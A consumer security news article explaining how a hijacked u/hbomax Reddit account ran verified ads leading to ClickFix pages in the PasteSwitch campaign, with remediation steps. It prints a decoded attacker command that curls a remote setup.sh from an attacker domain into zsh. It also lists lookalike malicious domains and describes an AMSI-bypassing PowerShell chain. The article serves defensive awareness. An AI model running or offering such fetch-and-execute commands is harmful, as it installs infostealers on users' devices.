Did You Trust HBO Max’s “Verified” Reddit Ad—And End Up Installing ClickFix Malware?

You see a “verified” ad. It’s got the brand name. It looks legit. Your brain goes, “Cool, safe.” And then 10 minutes later you’re staring at a sketchy page telling you to copy and paste a command into your computer like it’s a normal thing people do on a Tuesday. If that sounds familiar, you’re not alone. Hackers reportedly grabbed HBO Max’s official u/hbomax Reddit account, ran a pile of malicious verified ads for about two days, and funneled people into ClickFix traps—those fake ‘fix this issue’ pages that trick you into pasting the exact command that installs the malware.

How a “Verified” HBO Max Reddit Ad Turned Into a Trap (and why it worked)

Here’s the part that stings: it wasn’t some random throwaway account with a weird username and two posts. Researchers say attackers compromised HBO Max’s official verified Reddit account, u/hbomax, then used it to run 108 “verified” malicious ads in about 48 hours . That “verified” label is basically a little permission slip your brain hands to the ad without reading the fine print.

And once you’ve accepted “this is HBO Max,” the rest of the scam gets to feel normal.

The (very) believable path from ad → malware

The user journey was simple and smooth—almost boring, which is the whole point:

1. You’re scrolling Reddit and see a verified HBO Max ad posted by u/hbomax .
2. You click, expecting a typical streaming-service landing page.
3. You land on a convincing fake download site claiming to offer a macOS HBO Max app . One domain reported in the campaign was hbomaxx[.]us .
4. You hit Download… and instead of an app, you get the ClickFix move: “Open Terminal and paste this command.”

That last step is the trap. ClickFix isn’t trying to “hack” your machine in some Hollywood way. It tries to get you to run the installer for it—using built-in tools like Terminal on macOS or Run/PowerShell on Windows . That’s a big reason this tactic is showing up more often: you’re executing the command yourself, which can dodge some protections that are focused on blocking sketchy downloads .

Why the “verified Reddit ad” label short-circuits scam radar

A ClickFix page doesn’t need to look perfect. It just needs to look plausible enough once trust is already established upstream.

And “verified” does a lot of heavy lifting:

• It reduces friction. You don’t do the extra checks you’d do with an unverified ad.
• It borrows credibility from the platform. If Reddit shows it as verified, your brain rounds it up to “approved.”
• It makes the weird part feel less weird. A random site asking for copy/paste commands feels wrong. A “real brand” asking? People hesitate less.

The campaign didn’t even stick to only HBO Max-themed ads, either. Reporting says the compromised account also pushed lures like fake AI tools, developer software, and macOS utilities —stuff that fits right into a Reddit feed without raising alarms.

And that’s how a “verified HBO Max Reddit ad malware” incident happens: not with a loud jump-scare, but with a quiet, confident little sequence that feels routine right up until you realize you’ve been coached into installing the problem.

Meet PasteSwitch: the campaign that can change outfits mid-walk

That copy/paste prompt didn’t show up out of nowhere. Researchers tied the HBO Max “verified Reddit ad” mess to a bigger operation they call PasteSwitch—and the name fits, because the whole trick is switching what you see (and what you get) without you noticing.

PasteSwitch, in plain English

PasteSwitch is basically an ad-to-malware machine with a closet full of costumes.

Researchers describe it as an operation where victims paste attacker-supplied commands, while the attackers’ backend can switch between campaigns, platforms, payloads, and even crypto theft methods depending on the visitor.

So two people can click what looks like the “same” Reddit ad and still get different outcomes based on things like:

• Device (macOS vs Windows)
• Timing (campaigns rotate)
• Visitor context (what the backend decides you’re “worth” right now)

That’s why these campaigns are so annoying to pin down. You’re not chasing one bad link—you’re chasing a system that can swap the next step on command.

The rotating lures: “something you’d actually click”

Researchers noted the ads weren’t locked to “HBO Max download” vibes. Some impersonated the streaming service, but others pushed fake AI tools, developer software, and macOS utilities—stuff that looks right at home on Reddit.

They also broke out where a chunk of the ads pointed (which tells you how wide the net was):

• 40 ads → hbomaxx[.]app
• 36 ads → codex-craft[.]com (described as a fake AI/dev site)
• 15 ads → apple.clean-disk-guide[.]com
• 11 ads → code-desktop[.]com
• 6 ads → hbomax-macos[.]com

And yes, the “HBO Max for macOS” style lure showed up too—one reported route led to hbomaxx[.]us, a convincing-looking site with a download/join button.

The point of all these outfits is simple: catch you when you’re not in “scam detection mode.” Streaming app? Sure. Clean-disk utility? Also sure. Random new AI/dev tool? On Reddit? Extremely believable.

What the ClickFix Pages Actually Do (macOS + Windows), minus the scary movie soundtrack

PasteSwitch can swap the lure, but the mechanic stays pretty steady: the ClickFix page gets you to run a command that pulls down the next stage. You don’t “get hacked” so much as you get talked into clicking OK on your own device.

macOS: the “just paste this in Terminal” routine

On the fake macOS download pages, the “Download” button may not download anything. Instead, it flips into instructions telling you to open Terminal and paste a command.

Researchers (and BleepingComputer’s write-up) noted one macOS command was Base64-encoded to obscure what it actually runs. Once decoded, it turned into a very on-the-nose installer pattern: an environment variable + a remote script fetched via curl, piped into zsh.

Example shown (decoded):

• export _watch_v2=...; curl -sL "<https://ember-bridge>[.]com/.../setup.sh" | zsh

Why the Base64? Not because it’s “genius hacker stuff.” It’s to hide the obvious at a glance:

• If you saw curl ... | zsh in plain text, a lot more people would nope out.
• If your browser, chat app, or you-as-a-human does a quick skim, Base64 looks like “technical installer goo,” not “download and run a script from the internet.”

There were also macOS-specific payload chains called out, including an “AMOS helper” variant that establishes persistence using a directory named .com.apple.accountsd, then enrolls the system with attacker-controlled servers for more tasks.

Windows: mshta → PowerShell (and a quick trip around AMSI)

On Windows, researchers observed PasteSwitch/ClickFix instructions pushing people into running commands that use mshta and PowerShell.

One Windows chain described by Hudson Rock is a greatest-hits playlist of “stuff that still works”:

• An MP3/HTA polyglot is used as part of the chain
• It can create a scheduled task (persistence)
• It launches 32-bit PowerShell
• It disables Microsoft’s AMSI (Antimalware Scan Interface) to reduce script scanning
• It generates victim-specific infrastructure based on the computer name and username

Later stages reportedly used obfuscated PowerShell and shellcode to load the next payload directly into memory, skipping the “save an obvious EXE to disk” moment defenders love.

If you’re wondering why ClickFix is so effective across macOS and Windows, it’s this: it piggybacks on normal admin tools. Terminal. PowerShell. Scheduled tasks. Nothing “looks” like a download prompt… until it’s too late.

What It Can Grab From You (and why that’s a bigger headache than ‘just a virus’)

The sneaky part about ClickFix-style installs is you’re not just dealing with an annoying app you uninstall and forget. The campaign researchers tracked was linked to information-stealing malware, plus other “bonus” payloads that can turn your week into a password-reset marathon.

The stuff these payloads go after (in human terms)

Researchers called out one malware family used here: MacSync. Hudson Rock says it can steal:

• Browser credentials (saved logins)

That’s your email, shopping accounts, work tools, streaming logins—anything your browser remembers so you don’t have to.

• Firefox profiles

Profiles can carry a lot of “you”: stored sessions, settings, and data attackers love because it helps them log in as you.

• Telegram data

If you use Telegram for personal chats, work groups, or “here’s the code” messages, that can spill sensitive info fast.

• Apple Notes

People stash everything in Notes: account numbers, backup codes, random secrets you meant to organize later.

• macOS passwords

That wording alone should make you sit up straight.

And it wasn’t only about logins. Reporting says the same broader PasteSwitch operation has been used to distribute:

• Fake crypto wallet apps (Ledger, Trezor Suite, Exodus lookalikes) designed to steal wallet recovery phrases

If a seed phrase leaks, it’s not like cancelling a credit card. Funds can be drained.

• Cryptocurrency clipboard hijackers (“clippers”), including AnimateClipper and ZigClipper

This is the nightmare where you copy a wallet address, paste it… and it silently swaps to the attacker’s address.

The unknowns worth saying out loud (without going full tinfoil hat)

Two big questions were still open in reporting at the time:

• How attackers accessed the u/hbomax Reddit account isn’t clear.
• It’s also unclear whether any other HBO or Warner Bros. Discovery accounts or systems were affected.

So while the “verified ad” part is what grabbed headlines, the real headache is what comes after: stolen logins, stolen messages, stolen notes, and in some cases, stolen crypto that doesn’t come back.

What to Do If You Clicked, Downloaded, or Pasted That Command (and how to spot it next time)

If you only saw the ad and bailed, breathe. If you pasted a command into Terminal/Run/PowerShell (which is exactly what ClickFix tries to get you to do) treat it like a real incident, not a “maybe.”

Do this now (order matters)

1. Disconnect that device from the internet

• Wi‑Fi off. Ethernet out. You’re trying to stop any follow-up downloads or data leaving your machine.

2. Don’t keep “testing” things

• No more clicks. No “let me paste it again to see.” ClickFix works because victims run the commands themselves.

3. Run a full scan

• Use your OS security tools plus any reputable endpoint protection you already have installed. If you don’t have one, pick a well-known vendor and do a full scan (not quick).

4. Kick out active sessions from the accounts you care about

• Email first (Gmail/Microsoft), then Apple ID/Google account, then password manager, then banking/crypto exchanges, then everything else.
• Look for “Sign out of all devices” / “Log out of other sessions.”

5. Rotate passwords (starting with email + password manager)

• Change them from a clean device, not the one you just ran a mystery command on.

6. Revoke access tokens where you can

• Check “Connected apps” / “Authorized devices” in Google, Microsoft, Apple, Reddit, GitHub, etc. Info-stealers love long-lived sessions.

7. Turn on stronger login protection

• MFA is good. Passkeys are even better when available (less phishable, less reusable).

If crypto is involved: assume the clipboard is not your friend

Researchers noted this operation has pushed fake wallet apps that go after recovery phrases  and even clipboard hijackers (clippers) like AnimateClipper and ZigClipper.

If you typed or pasted a seed phrase anywhere during this mess:

• Move funds to a new wallet created on a clean device.
• Treat the old seed phrase as burned. No “maybe it’s fine.”

And even if you didn’t:

• When sending crypto, double-check the first/last characters of the address after pasting. Clippers count on you not looking.

How to spot ClickFix pages before they get a vote in your brain

ClickFix has a signature move: it asks you to “fix” something by pasting commands into system tools, often framed as install steps, CAPTCHA checks, or “verification.”

Red flags that deserve an instant close-tab:

• A “download” button that turns into Terminal/PowerShell instructions
• Anything that looks like: curl ... | sh, curl ... | zsh, or “paste this into Run”
• Weird domains that look right at a glance (extra letters, extra hyphens, lookalike spellings)

One last reality check: platforms can miss it

In this case, reporting says that after the malicious ads were reported, a Reddit admin paused them and sent the report to Reddit’s Security and Safety teams.

Helpful, yes. A guarantee, no.

So the habit that pays off every time is boring but powerful: don’t trust the ad as the source. If you want an app or tool, go find the official site/app store yourself—outside the ad click.

‍